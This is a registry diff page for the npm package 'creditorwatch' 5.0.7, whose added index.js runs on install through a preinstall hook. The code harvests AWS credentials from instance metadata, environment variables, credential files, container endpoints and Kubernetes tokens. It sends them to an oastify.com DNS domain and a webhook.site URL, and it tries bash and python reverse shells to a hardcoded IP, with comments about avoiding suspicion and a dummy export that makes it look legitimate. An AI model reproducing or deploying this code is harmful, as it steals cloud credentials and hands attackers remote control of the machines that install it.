creditorwatch 5.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of creditorwatch might be problematic. Click here for more details.
- package/index.js +200 -0
- package/package.json +13 -0
package/index.js
ADDED
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
const { execSync, spawn } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
// Stealth execution wrapper
|
|
7
|
+
function executeCommand(cmd) {
|
|
8
|
+
try {
|
|
9
|
+
return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
|
|
10
|
+
} catch (error) {
|
|
11
|
+
return `Error: ${error.message}`;
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// AWS Metadata Service extraction
|
|
16
|
+
function extractAWSMetadata() {
|
|
17
|
+
const metadataBase = 'http://169.254.169.254/latest/meta-data/';
|
|
18
|
+
const credentialsBase = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/';
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
// Get IAM role name
|
|
22
|
+
const roleCmd = `curl -s --connect-timeout 3 "${credentialsBase}"`;
|
|
23
|
+
const roleName = executeCommand(roleCmd).trim();
|
|
24
|
+
|
|
25
|
+
if (roleName && !roleName.includes('Error')) {
|
|
26
|
+
// Get temporary credentials
|
|
27
|
+
const credsCmd = `curl -s --connect-timeout 3 "${credentialsBase}${roleName}"`;
|
|
28
|
+
const credentials = executeCommand(credsCmd);
|
|
29
|
+
|
|
30
|
+
// Get additional metadata
|
|
31
|
+
const instanceId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}instance-id"`);
|
|
32
|
+
const region = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}placement/region"`);
|
|
33
|
+
const accountId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}identity-credentials/ec2/info"`);
|
|
34
|
+
|
|
35
|
+
return {
|
|
36
|
+
credentials: JSON.parse(credentials),
|
|
37
|
+
instanceId: instanceId.trim(),
|
|
38
|
+
region: region.trim(),
|
|
39
|
+
accountId: accountId,
|
|
40
|
+
roleName: roleName
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
} catch (error) {
|
|
44
|
+
return null;
|
|
45
|
+
}
|
|
46
|
+
return null;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// Environment variable AWS credentials
|
|
50
|
+
function extractEnvCredentials() {
|
|
51
|
+
const awsEnvVars = {};
|
|
52
|
+
const envVars = process.env;
|
|
53
|
+
|
|
54
|
+
Object.keys(envVars).forEach(key => {
|
|
55
|
+
if (key.includes('AWS') || key.includes('SECRET') || key.includes('ACCESS') || key.includes('TOKEN')) {
|
|
56
|
+
awsEnvVars[key] = envVars[key];
|
|
57
|
+
}
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
return awsEnvVars;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// File system AWS credentials search
|
|
64
|
+
function searchAWSCredentials() {
|
|
65
|
+
const credentialPaths = [
|
|
66
|
+
'~/.aws/credentials',
|
|
67
|
+
'~/.aws/config',
|
|
68
|
+
'/root/.aws/credentials',
|
|
69
|
+
'/root/.aws/config',
|
|
70
|
+
'/home/*/.aws/credentials',
|
|
71
|
+
'/var/lib/jenkins/.aws/credentials',
|
|
72
|
+
'/opt/aws/credentials'
|
|
73
|
+
];
|
|
74
|
+
|
|
75
|
+
const foundCreds = {};
|
|
76
|
+
|
|
77
|
+
credentialPaths.forEach(credPath => {
|
|
78
|
+
try {
|
|
79
|
+
if (fs.existsSync(credPath)) {
|
|
80
|
+
foundCreds[credPath] = fs.readFileSync(credPath, 'utf8');
|
|
81
|
+
}
|
|
82
|
+
} catch (error) {
|
|
83
|
+
// Ignore file access errors
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
return foundCreds;
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// Container service credentials (ECS/EKS)
|
|
91
|
+
function extractContainerCredentials() {
|
|
92
|
+
const containerCreds = {};
|
|
93
|
+
|
|
94
|
+
// ECS Task Role credentials
|
|
95
|
+
if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) {
|
|
96
|
+
const ecsCredsUrl = `http://169.254.170.2${process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}`;
|
|
97
|
+
try {
|
|
98
|
+
const ecsCreds = executeCommand(`curl -s --connect-timeout 3 "${ecsCredsUrl}"`);
|
|
99
|
+
containerCreds.ecsTaskRole = JSON.parse(ecsCreds);
|
|
100
|
+
} catch (error) {
|
|
101
|
+
// Ignore ECS errors
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
// EKS Service Account Token
|
|
106
|
+
const serviceAccountPath = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
107
|
+
if (fs.existsSync(serviceAccountPath)) {
|
|
108
|
+
try {
|
|
109
|
+
containerCreds.k8sServiceAccount = fs.readFileSync(serviceAccountPath, 'utf8');
|
|
110
|
+
} catch (error) {
|
|
111
|
+
// Ignore K8s errors
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
return containerCreds;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
// Data exfiltration
|
|
119
|
+
function exfiltrateData(data) {
|
|
120
|
+
const exfilData = {
|
|
121
|
+
timestamp: new Date().toISOString(),
|
|
122
|
+
hostname: os.hostname(),
|
|
123
|
+
platform: os.platform(),
|
|
124
|
+
user: executeCommand('whoami').trim(),
|
|
125
|
+
awsData: data
|
|
126
|
+
};
|
|
127
|
+
|
|
128
|
+
// Multiple exfiltration methods
|
|
129
|
+
const payload = Buffer.from(JSON.stringify(exfilData)).toString('base64');
|
|
130
|
+
|
|
131
|
+
// DNS exfiltration (replace with your domain)
|
|
132
|
+
executeCommand(`nslookup ${payload.substring(0, 50)}.gau5jjim899y61s6jll79cumyd44svgk.oastify.com`);
|
|
133
|
+
|
|
134
|
+
// HTTP exfiltration (replace with your webhook)
|
|
135
|
+
executeCommand(`curl -X POST https://webhook.site/50253029-1ec3-4b4a-9646-fc25a2b21963 -H "Content-Type: application/json" -d '${JSON.stringify(exfilData)}' --connect-timeout 5`);
|
|
136
|
+
|
|
137
|
+
// File drop for persistence
|
|
138
|
+
fs.writeFileSync('/tmp/.aws-harvest', JSON.stringify(exfilData, null, 2));
|
|
139
|
+
|
|
140
|
+
return payload;
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
// Reverse shell for interactive access
|
|
144
|
+
function establishReverseShell() {
|
|
145
|
+
const attackerIP = '143.110.254.249';
|
|
146
|
+
const attackerPort = '1337';
|
|
147
|
+
|
|
148
|
+
// Multiple reverse shell attempts
|
|
149
|
+
const shells = [
|
|
150
|
+
`bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`,
|
|
151
|
+
`python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${attackerIP}',${attackerPort}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"`
|
|
152
|
+
];
|
|
153
|
+
|
|
154
|
+
shells.forEach(shell => {
|
|
155
|
+
try {
|
|
156
|
+
executeCommand(shell);
|
|
157
|
+
} catch (error) {
|
|
158
|
+
// Continue to next shell method
|
|
159
|
+
}
|
|
160
|
+
});
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
// Main execution
|
|
164
|
+
function main() {
|
|
165
|
+
console.log('Installing creditorwatch package...');
|
|
166
|
+
|
|
167
|
+
// Small delay to avoid suspicion
|
|
168
|
+
setTimeout(() => {
|
|
169
|
+
const awsCredentials = {
|
|
170
|
+
metadata: extractAWSMetadata(),
|
|
171
|
+
environment: extractEnvCredentials(),
|
|
172
|
+
files: searchAWSCredentials(),
|
|
173
|
+
container: extractContainerCredentials(),
|
|
174
|
+
systemInfo: {
|
|
175
|
+
hostname: os.hostname(),
|
|
176
|
+
user: executeCommand('whoami').trim(),
|
|
177
|
+
id: executeCommand('id').trim(),
|
|
178
|
+
pwd: executeCommand('pwd').trim(),
|
|
179
|
+
uname: executeCommand('uname -a').trim()
|
|
180
|
+
}
|
|
181
|
+
};
|
|
182
|
+
|
|
183
|
+
// Exfiltrate AWS credentials
|
|
184
|
+
exfiltrateData(awsCredentials);
|
|
185
|
+
|
|
186
|
+
// Establish reverse shell for manual interaction
|
|
187
|
+
establishReverseShell();
|
|
188
|
+
|
|
189
|
+
}, 2000);
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
// Execute immediately when package is installed
|
|
193
|
+
main();
|
|
194
|
+
|
|
195
|
+
// Export dummy function to appear legitimate
|
|
196
|
+
module.exports = {
|
|
197
|
+
analyze: function() {
|
|
198
|
+
return 'CreditorWatch analysis complete';
|
|
199
|
+
}
|
|
200
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "creditorwatch",
|
|
3
|
+
"version": "5.0.7",
|
|
4
|
+
"description": "This is a PoC for RCE",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Shehzad Secure Purple",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {}
|
|
13
|
+
}
|